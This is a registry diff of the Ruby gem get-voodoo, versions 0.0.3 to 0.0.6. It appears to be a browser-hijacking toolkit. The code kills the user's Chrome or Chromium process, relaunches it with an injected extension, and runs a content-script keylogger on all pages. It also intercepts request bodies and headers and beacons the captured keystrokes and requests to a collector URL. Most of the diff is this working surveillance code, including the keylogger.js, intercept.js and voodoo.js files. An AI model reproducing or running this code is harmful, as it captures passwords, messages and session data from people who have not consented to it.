get-voodoo 0.0.3 → 0.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/voodoo/browser.rb +100 -38
- data/lib/voodoo/cli.rb +99 -42
- data/lib/voodoo/extension.rb +1 -0
- data/lib/voodoo/js/collector.js +4 -1
- data/lib/voodoo/js/intercept.js +32 -10
- data/lib/voodoo/js/keylogger.js +10 -29
- data/lib/voodoo/js/voodoo.js +29 -0
- data/lib/voodoo/output.rb +60 -0
- metadata +4 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 9e6d8dcf6e32c27aee6d6fecb023b06c714b0b1f68be0e28ece06763428270a8
|
4
|
+
data.tar.gz: 78d560e2fd4ed92c71a5d2e62e188348ce33df6c796d1cefd0838d75092fe9f2
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 7de81bfa24329e95124905520eaf1a0ee11dd4d14bd4232347028e96e71a0597b484b5689d9562496cad1c16829b9c25382d640e4f41f64adff6902373dcd46b
|
7
|
+
data.tar.gz: abc001bbff3629260b9707944132c9bac476012c52c0f0e38ebffd54dce0cc309c4274de32c67a89bf0a4c5218cffce47568253f2dbd37c3ad365ac34b12dd64
|
data/lib/voodoo/browser.rb
CHANGED
@@ -19,52 +19,55 @@ module VOODOO
|
|
19
19
|
@extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
|
20
20
|
end
|
21
21
|
|
22
|
-
def
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
22
|
+
def keylogger(matches: '*://*/*', max_events: nil)
|
23
|
+
add_script(matches: matches,
|
24
|
+
file: File.join(__dir__, 'js/keylogger.js'),
|
25
|
+
max_events: max_events
|
26
|
+
) do |event|
|
27
|
+
yield event
|
28
28
|
end
|
29
|
-
@extension.add_content_script([matches], js: [content])
|
30
|
-
self
|
31
|
-
end
|
32
|
-
|
33
|
-
def keylogger(matches: '*://*/*', url_include: '')
|
34
|
-
collector = Collector.new
|
35
|
-
collector.on_json {|jsond| yield jsond }
|
36
|
-
|
37
|
-
options = {
|
38
|
-
collector_url: collector.url
|
39
|
-
}
|
40
|
-
|
41
|
-
@collector_threads.push(collector.thread)
|
42
|
-
|
43
|
-
keylogger_js = build_js('keylogger.js', with_options: options)
|
44
|
-
@extension.add_content_script(matches, js: [keylogger_js])
|
45
29
|
end
|
46
30
|
|
47
|
-
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
|
48
|
-
collector = make_collector() {|jsond| yield jsond }
|
31
|
+
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
|
49
32
|
options = {
|
50
33
|
matches: matches,
|
51
34
|
url_include: url_include,
|
52
35
|
body_include: body_include,
|
53
|
-
header_exists: header_exists
|
54
|
-
collector_url: collector.url
|
36
|
+
header_exists: header_exists
|
55
37
|
}
|
56
|
-
|
57
|
-
|
38
|
+
|
39
|
+
add_script(options: options,
|
40
|
+
background: true,
|
41
|
+
max_events: max_events,
|
42
|
+
file: File.join(__dir__, 'js/intercept.js')
|
43
|
+
) do |event|
|
44
|
+
yield event
|
45
|
+
end
|
46
|
+
end
|
47
|
+
|
48
|
+
def add_permissions(permissions)
|
49
|
+
permissions = [permissions] unless permissions.is_a? Array
|
50
|
+
@extension.manifest[:permissions] += permissions
|
58
51
|
end
|
59
52
|
|
60
|
-
def hijack(
|
53
|
+
def hijack(urls = [])
|
61
54
|
# kill the browser process twise, to bypass close warning
|
62
55
|
`pkill -a -i "#{@process_name}"`
|
63
56
|
`pkill -a -i "#{@process_name}"`
|
64
57
|
sleep 0.1
|
65
58
|
|
59
|
+
urls = [urls] unless urls.kind_of? Array
|
60
|
+
urls = urls.uniq
|
61
|
+
|
66
62
|
profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
|
67
|
-
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{
|
63
|
+
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
|
64
|
+
|
65
|
+
if urls.length > 0
|
66
|
+
sleep 0.5
|
67
|
+
for url in urls
|
68
|
+
`open -b "#{@bundle}" -n -g -j --args #{url}`
|
69
|
+
end
|
70
|
+
end
|
68
71
|
|
69
72
|
for thread in @collector_threads
|
70
73
|
thread.join
|
@@ -91,6 +94,73 @@ module VOODOO
|
|
91
94
|
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
|
92
95
|
end
|
93
96
|
|
97
|
+
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
|
98
|
+
if matches != nil && background != false
|
99
|
+
puts 'WARNING: matches is ignored when background is set to true.'
|
100
|
+
end
|
101
|
+
|
102
|
+
if content == nil && file != nil
|
103
|
+
content = File.read file
|
104
|
+
end
|
105
|
+
|
106
|
+
if content == nil
|
107
|
+
raise StandardError.new(':content or :file argument are required')
|
108
|
+
end
|
109
|
+
|
110
|
+
event_count = 0
|
111
|
+
|
112
|
+
if block_given?
|
113
|
+
collector = Collector.new
|
114
|
+
collector.on_json {|jsond|
|
115
|
+
yield jsond
|
116
|
+
if (max_events != nil)
|
117
|
+
event_count += 1
|
118
|
+
if event_count >= max_events.to_i
|
119
|
+
collector.thread.kill
|
120
|
+
end
|
121
|
+
end
|
122
|
+
}
|
123
|
+
@collector_threads.push(collector.thread)
|
124
|
+
options[:collector_url] = collector.url
|
125
|
+
end
|
126
|
+
|
127
|
+
options.keys.each do |key|
|
128
|
+
options[(key.to_sym rescue key) || key] = options.delete(key)
|
129
|
+
end
|
130
|
+
|
131
|
+
voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
|
132
|
+
content = voodoo_js + "\n" + content
|
133
|
+
|
134
|
+
# find variables
|
135
|
+
variables = content.scan(/%{[a-z_0-9]+}/i)
|
136
|
+
|
137
|
+
for var in variables
|
138
|
+
# remove %{}
|
139
|
+
var_sym = var[2...(var.length)-1].to_sym
|
140
|
+
if !options[var_sym]
|
141
|
+
# when option is missing set it to nil
|
142
|
+
options[var_sym] = nil
|
143
|
+
else
|
144
|
+
if !options[var_sym].kind_of? String
|
145
|
+
content = content.gsub("\"#{var}\"", var)
|
146
|
+
options[var_sym] = JSON.generate(options[var_sym])
|
147
|
+
end
|
148
|
+
end
|
149
|
+
end
|
150
|
+
|
151
|
+
content = content % options
|
152
|
+
|
153
|
+
if background == true
|
154
|
+
return @extension.add_background_script(content: content)
|
155
|
+
else
|
156
|
+
if matches == nil
|
157
|
+
matches = '*://*/*'
|
158
|
+
end
|
159
|
+
|
160
|
+
return @extension.add_content_script(matches, js: [content])
|
161
|
+
end
|
162
|
+
end
|
163
|
+
|
94
164
|
protected
|
95
165
|
|
96
166
|
def make_collector
|
@@ -99,14 +169,6 @@ module VOODOO
|
|
99
169
|
@collector_threads.push(collector.thread)
|
100
170
|
return collector
|
101
171
|
end
|
102
|
-
|
103
|
-
def build_js(file, with_options: nil)
|
104
|
-
js = File.read(File.join(__dir__, 'js', file))
|
105
|
-
if with_options != nil
|
106
|
-
js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
|
107
|
-
end
|
108
|
-
return js
|
109
|
-
end
|
110
172
|
end
|
111
173
|
|
112
174
|
end
|
data/lib/voodoo/cli.rb
CHANGED
@@ -1,10 +1,12 @@
|
|
1
1
|
require 'thor'
|
2
2
|
require 'json'
|
3
|
+
require 'yaml'
|
4
|
+
require 'voodoo/output'
|
3
5
|
require 'voodoo/browser'
|
4
6
|
|
5
7
|
module VOODOO
|
6
8
|
|
7
|
-
VERSION = 'v0.0.
|
9
|
+
VERSION = 'v0.0.6'
|
8
10
|
|
9
11
|
class CLI < Thor
|
10
12
|
|
@@ -16,78 +18,133 @@ module VOODOO
|
|
16
18
|
option :url_include, :type => :string, :aliases => :u, :default => nil
|
17
19
|
option :body_include, :type => :string, :aliases => :b, :default => nil
|
18
20
|
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
19
|
-
option :
|
20
|
-
option :
|
21
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
22
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
23
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
21
24
|
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
22
25
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
23
|
-
|
26
|
+
option :max_events, :type => :numeric, :default => nil
|
27
|
+
desc 'intercept', 'Intercept browser requests'
|
24
28
|
def intercept
|
25
29
|
browser = get_browser options[:browser]
|
26
|
-
|
27
|
-
output = options[:output]
|
28
|
-
|
29
|
-
if output != 'stdout'
|
30
|
-
output = open(output, 'a')
|
31
|
-
end
|
30
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
|
32
31
|
|
33
32
|
browser.intercept(matches: options[:matches],
|
34
33
|
url_include: options[:url_include],
|
35
|
-
body_include: options[:body_include]
|
36
|
-
|
37
|
-
|
38
|
-
output.close
|
39
|
-
output = open(output, 'a')
|
40
|
-
else
|
41
|
-
puts "#{req[:method]} #{req[:url]}"
|
42
|
-
if req[:body]
|
43
|
-
body = req[:body]
|
44
|
-
if body.length > 100
|
45
|
-
body = body[0...97] + '...'
|
46
|
-
end
|
47
|
-
puts "BODY: #{body}"
|
48
|
-
end
|
49
|
-
end
|
34
|
+
body_include: options[:body_include],
|
35
|
+
max_events: options[:max_events]) do |event|
|
36
|
+
output_handler.handle(event)
|
50
37
|
end
|
51
38
|
|
52
|
-
browser.hijack options[:
|
39
|
+
browser.hijack options[:urls]
|
53
40
|
end
|
54
41
|
|
55
|
-
option :
|
42
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
43
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
|
44
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
45
|
+
option :params, :type => :hash,:aliases => :p, :default => {}
|
56
46
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
57
47
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
58
|
-
|
48
|
+
option :permissions, :type => :array, :aliases => :p, :default => []
|
49
|
+
option :max_events, :type => :numeric, :default => nil
|
50
|
+
desc 'script <js/path>', 'Add a content script'
|
59
51
|
def script(path_or_js)
|
60
52
|
browser = get_browser options[:browser]
|
53
|
+
browser.add_permissions options[:permissions]
|
54
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
|
55
|
+
|
56
|
+
file = nil
|
57
|
+
content = nil
|
58
|
+
|
61
59
|
if File.exists? path_or_js
|
62
|
-
|
60
|
+
file = path_or_js
|
61
|
+
else
|
62
|
+
content = path_or_js
|
63
|
+
end
|
64
|
+
|
65
|
+
if output_handler.writable
|
66
|
+
browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
|
67
|
+
output_handler.handle(event)
|
68
|
+
end
|
63
69
|
else
|
64
|
-
browser.add_script content:
|
70
|
+
browser.add_script file: file, content: content, options: options[:params]
|
65
71
|
end
|
66
|
-
|
72
|
+
|
73
|
+
browser.hijack options[:urls]
|
67
74
|
end
|
68
75
|
|
69
|
-
option :
|
70
|
-
option :
|
76
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
77
|
+
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
78
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
71
79
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
72
80
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
73
|
-
|
81
|
+
option :max_events, :type => :numeric, :default => nil
|
82
|
+
desc 'keylogger', 'Records user keystrokes'
|
74
83
|
def keylogger
|
75
84
|
browser = get_browser options[:browser]
|
76
|
-
|
85
|
+
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
|
86
|
+
browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
|
87
|
+
output_handler.handle(event)
|
88
|
+
end
|
89
|
+
browser.hijack options[:urls]
|
90
|
+
end
|
77
91
|
|
78
|
-
|
79
|
-
|
92
|
+
option :browser, :type => :string, :aliases => :b, :default => nil
|
93
|
+
option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
|
94
|
+
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
95
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
96
|
+
option :params, :type => :hash,:aliases => :p, :default => {}
|
97
|
+
option :max_events, :type => :numeric, :default => nil
|
98
|
+
desc 'template <path>', 'Execute a VOODOO template'
|
99
|
+
def template(path)
|
100
|
+
pwd = Dir.pwd
|
101
|
+
|
102
|
+
if File.directory? path
|
103
|
+
pwd = File.expand_path(File.join(pwd, path))
|
104
|
+
template = YAML.load_file(File.join(path, 'voodoo.yaml'))
|
105
|
+
else
|
106
|
+
pwd = File.expand_path(File.join(pwd, File.dirname(path)))
|
107
|
+
template = YAML.load_file(path)
|
80
108
|
end
|
81
109
|
|
82
|
-
|
83
|
-
|
84
|
-
|
110
|
+
browser_inst = template['browser'] || {}
|
111
|
+
browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
|
112
|
+
|
113
|
+
if template['permissions']
|
114
|
+
browser.add_permissions template['permissions']
|
115
|
+
end
|
116
|
+
|
117
|
+
output_format = options[:format]
|
118
|
+
is_default = output_format == 'none'
|
119
|
+
|
120
|
+
if is_default && template['format']
|
121
|
+
output_format = template['format']
|
122
|
+
end
|
123
|
+
|
124
|
+
output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
|
125
|
+
|
126
|
+
template['scripts'].each do |script|
|
127
|
+
file = File.expand_path(File.join(pwd, script['file'])) if script['file']
|
128
|
+
content = script['content']
|
129
|
+
matches = script['matches']
|
130
|
+
background = script['background'] || false
|
131
|
+
|
132
|
+
if output_handler.writable
|
133
|
+
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
|
134
|
+
output_handler.handle(event)
|
135
|
+
end
|
85
136
|
else
|
86
|
-
|
137
|
+
browser.add_script(matches: matches,content: content, options: options[:params], background: background)
|
87
138
|
end
|
88
139
|
end
|
89
140
|
|
90
|
-
|
141
|
+
urls = options[:urls]
|
142
|
+
|
143
|
+
if urls.length == 0 && browser_inst['urls']
|
144
|
+
urls = browser_inst['urls']
|
145
|
+
end
|
146
|
+
|
147
|
+
browser.hijack urls
|
91
148
|
end
|
92
149
|
|
93
150
|
def self.exit_on_failure?
|
data/lib/voodoo/extension.rb
CHANGED
data/lib/voodoo/js/collector.js
CHANGED
@@ -1,4 +1,7 @@
|
|
1
|
-
|
1
|
+
/**
|
2
|
+
* VOODOO collector
|
3
|
+
*/
|
4
|
+
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
2
5
|
navigator.sendBeacon(request.collector_url, request.body);
|
3
6
|
sendResponse(1)
|
4
7
|
});
|
data/lib/voodoo/js/intercept.js
CHANGED
@@ -2,24 +2,40 @@
|
|
2
2
|
* VOODOO Intercept
|
3
3
|
*/
|
4
4
|
(function () {
|
5
|
-
let options =
|
6
|
-
|
5
|
+
let options = {
|
6
|
+
body_include: "%{body_include}",
|
7
|
+
url_include: "%{url_include}",
|
8
|
+
collector_url: "%{collector_url}",
|
9
|
+
header_exists: "%{header_exists}"
|
10
|
+
};
|
11
|
+
|
12
|
+
let matches = "%{matches}";
|
13
|
+
|
14
|
+
if (options.header_exists) {
|
15
|
+
options.header_exists = options.header_exists.toLowerCase();
|
16
|
+
}
|
7
17
|
|
8
18
|
if (!Array.isArray(matches)) {
|
9
19
|
matches = [matches];
|
10
20
|
}
|
11
21
|
|
12
|
-
|
13
|
-
|
22
|
+
function parseBody(body) {
|
23
|
+
try {
|
24
|
+
return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
|
25
|
+
} catch {
|
26
|
+
return "";
|
27
|
+
}
|
14
28
|
}
|
15
29
|
|
16
30
|
const requests = new Map();
|
17
31
|
|
18
32
|
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
19
33
|
const request = requests.get(e.requestId);
|
34
|
+
|
20
35
|
if (!request) {
|
21
36
|
return;
|
22
37
|
}
|
38
|
+
|
23
39
|
requests.delete(e.requestId);
|
24
40
|
request.headers = e.requestHeaders;
|
25
41
|
|
@@ -36,7 +52,7 @@
|
|
36
52
|
}
|
37
53
|
}
|
38
54
|
|
39
|
-
|
55
|
+
VOODOO.send(request);
|
40
56
|
}, { urls: matches }, ['requestHeaders', 'extraHeaders'])
|
41
57
|
|
42
58
|
chrome.webRequest.onBeforeRequest.addListener(
|
@@ -46,13 +62,20 @@
|
|
46
62
|
}
|
47
63
|
|
48
64
|
if (options.url_include && request.url.indexOf(options.url_include) === -1) {
|
49
|
-
return;
|
65
|
+
return { cancel: false };
|
66
|
+
}
|
67
|
+
|
68
|
+
if (options.body_include && !request.requestBody) {
|
69
|
+
return { cancel: false };
|
50
70
|
}
|
51
71
|
|
52
|
-
|
53
|
-
request.body = request.requestBody
|
72
|
+
if (request.requestBody) {
|
73
|
+
request.body = parseBody(request.requestBody);
|
54
74
|
delete request.requestBody;
|
55
|
-
|
75
|
+
if (options.body_include && request.body.indexOf(options.body_include) === -1) {
|
76
|
+
return { cancel: false };
|
77
|
+
}
|
78
|
+
}
|
56
79
|
|
57
80
|
requests.set(request.requestId, request);
|
58
81
|
return { cancel: false };
|
@@ -60,5 +83,4 @@
|
|
60
83
|
{ urls: matches },
|
61
84
|
['requestBody']
|
62
85
|
);
|
63
|
-
|
64
86
|
})();
|
data/lib/voodoo/js/keylogger.js
CHANGED
@@ -2,13 +2,6 @@
|
|
2
2
|
* VOODOO Keylogger
|
3
3
|
*/
|
4
4
|
(function () {
|
5
|
-
sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
|
6
|
-
const options = REBY_INJECTED_OPTIONS;
|
7
|
-
|
8
|
-
if (!options.collector_url) {
|
9
|
-
return;
|
10
|
-
}
|
11
|
-
|
12
5
|
let output = "";
|
13
6
|
let lastElement = null;
|
14
7
|
|
@@ -27,29 +20,17 @@
|
|
27
20
|
return id;
|
28
21
|
}
|
29
22
|
|
30
|
-
function
|
31
|
-
chrome.runtime.sendMessage({
|
32
|
-
collector_url: options.collector_url,
|
33
|
-
body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
|
34
|
-
}, function (response) {
|
35
|
-
//console.log(response);
|
36
|
-
});
|
37
|
-
output = "";
|
38
|
-
}
|
39
|
-
|
40
|
-
setInterval(function () {
|
41
|
-
if (output.length !== 0) {
|
42
|
-
send_to_collector();
|
43
|
-
}
|
44
|
-
}, 5000);
|
45
|
-
|
46
|
-
window.addEventListener("beforeunload", function (e) {
|
23
|
+
function sendAndDelete() {
|
47
24
|
if (output.length === 0) {
|
48
25
|
return;
|
49
26
|
}
|
50
|
-
|
51
|
-
|
27
|
+
VOODOO.send(output);
|
28
|
+
output = "";
|
29
|
+
}
|
30
|
+
|
31
|
+
setInterval(sendAndDelete, 5000);
|
52
32
|
|
33
|
+
window.addEventListener("beforeunload", sendAndDelete, false);
|
53
34
|
window.addEventListener("blur", function () {
|
54
35
|
output += "\n[TAB LOST FOCUS]\n";
|
55
36
|
});
|
@@ -61,15 +42,15 @@
|
|
61
42
|
window.addEventListener("keydown", function (event) {
|
62
43
|
if (lastElement !== event.path[0]) {
|
63
44
|
lastElement = event.path[0];
|
64
|
-
output += `\n
|
45
|
+
output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
|
65
46
|
}
|
66
47
|
if (event.key.length > 1) {
|
67
|
-
output += `[
|
48
|
+
output += `[${event.key}]`;
|
68
49
|
} else {
|
69
50
|
output += event.key;
|
70
51
|
}
|
71
52
|
});
|
72
53
|
|
73
54
|
output = `\n====== ${window.location.href} (${document.title}) ======\n`;
|
74
|
-
|
55
|
+
sendAndDelete();
|
75
56
|
})();
|
@@ -0,0 +1,29 @@
|
|
1
|
+
if (!sessionStorage.tab_uuid) {
|
2
|
+
sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
|
3
|
+
}
|
4
|
+
|
5
|
+
const VOODOO = {
|
6
|
+
options: { collector_url: "%{collector_url}" },
|
7
|
+
send(payload) {
|
8
|
+
if (!VOODOO.options.collector_url) {
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
|
12
|
+
const body = JSON.stringify({
|
13
|
+
time: new Date().getTime(),
|
14
|
+
tab_uuid: sessionStorage.tab_uuid,
|
15
|
+
origin: window.location.origin,
|
16
|
+
payload
|
17
|
+
});
|
18
|
+
|
19
|
+
if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
|
20
|
+
return navigator.sendBeacon(VOODOO.options.collector_url, body);
|
21
|
+
}
|
22
|
+
|
23
|
+
chrome.runtime.sendMessage({
|
24
|
+
collector_url: VOODOO.options.collector_url, body
|
25
|
+
});
|
26
|
+
}
|
27
|
+
};
|
28
|
+
|
29
|
+
const V = VOODOO;
|
@@ -0,0 +1,60 @@
|
|
1
|
+
module VOODOO
|
2
|
+
|
3
|
+
class Output
|
4
|
+
attr_reader :writable
|
5
|
+
|
6
|
+
def initialize(file: nil, in_format: nil, for_command: nil)
|
7
|
+
@file = nil
|
8
|
+
@format = in_format
|
9
|
+
@command = for_command
|
10
|
+
@writable = in_format != 'none'
|
11
|
+
@file = open(file, 'a') if file
|
12
|
+
end
|
13
|
+
|
14
|
+
def write(any, with_print: false)
|
15
|
+
if @file
|
16
|
+
@file.puts any
|
17
|
+
else
|
18
|
+
if with_print
|
19
|
+
print any
|
20
|
+
else
|
21
|
+
puts any
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
def handle(event)
|
27
|
+
if !@writable
|
28
|
+
return
|
29
|
+
end
|
30
|
+
|
31
|
+
case @format
|
32
|
+
when 'pretty'
|
33
|
+
case @command
|
34
|
+
when 'keylogger'
|
35
|
+
write event[:payload], with_print: true
|
36
|
+
when 'intercept'
|
37
|
+
req = event[:payload]
|
38
|
+
write "#{req[:method]} #{req[:url]}"
|
39
|
+
req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
|
40
|
+
|
41
|
+
if req[:body]
|
42
|
+
write "BODY: #{event[:payload][:body]}"
|
43
|
+
end
|
44
|
+
else
|
45
|
+
write JSON.generate(event[:payload])
|
46
|
+
end
|
47
|
+
when 'json'
|
48
|
+
write JSON.generate(event)
|
49
|
+
when 'payload'
|
50
|
+
write JSON.generate(event[:payload])
|
51
|
+
else
|
52
|
+
write JSON.generate(event)
|
53
|
+
end
|
54
|
+
|
55
|
+
true
|
56
|
+
end
|
57
|
+
|
58
|
+
end
|
59
|
+
|
60
|
+
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: get-voodoo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0.
|
4
|
+
version: 0.0.6
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ron Masas
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2022-03-
|
11
|
+
date: 2022-03-12 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: thor
|
@@ -82,6 +82,8 @@ files:
|
|
82
82
|
- lib/voodoo/js/collector.js
|
83
83
|
- lib/voodoo/js/intercept.js
|
84
84
|
- lib/voodoo/js/keylogger.js
|
85
|
+
- lib/voodoo/js/voodoo.js
|
86
|
+
- lib/voodoo/output.rb
|
85
87
|
homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
|
86
88
|
licenses:
|
87
89
|
- GPL-2.0
|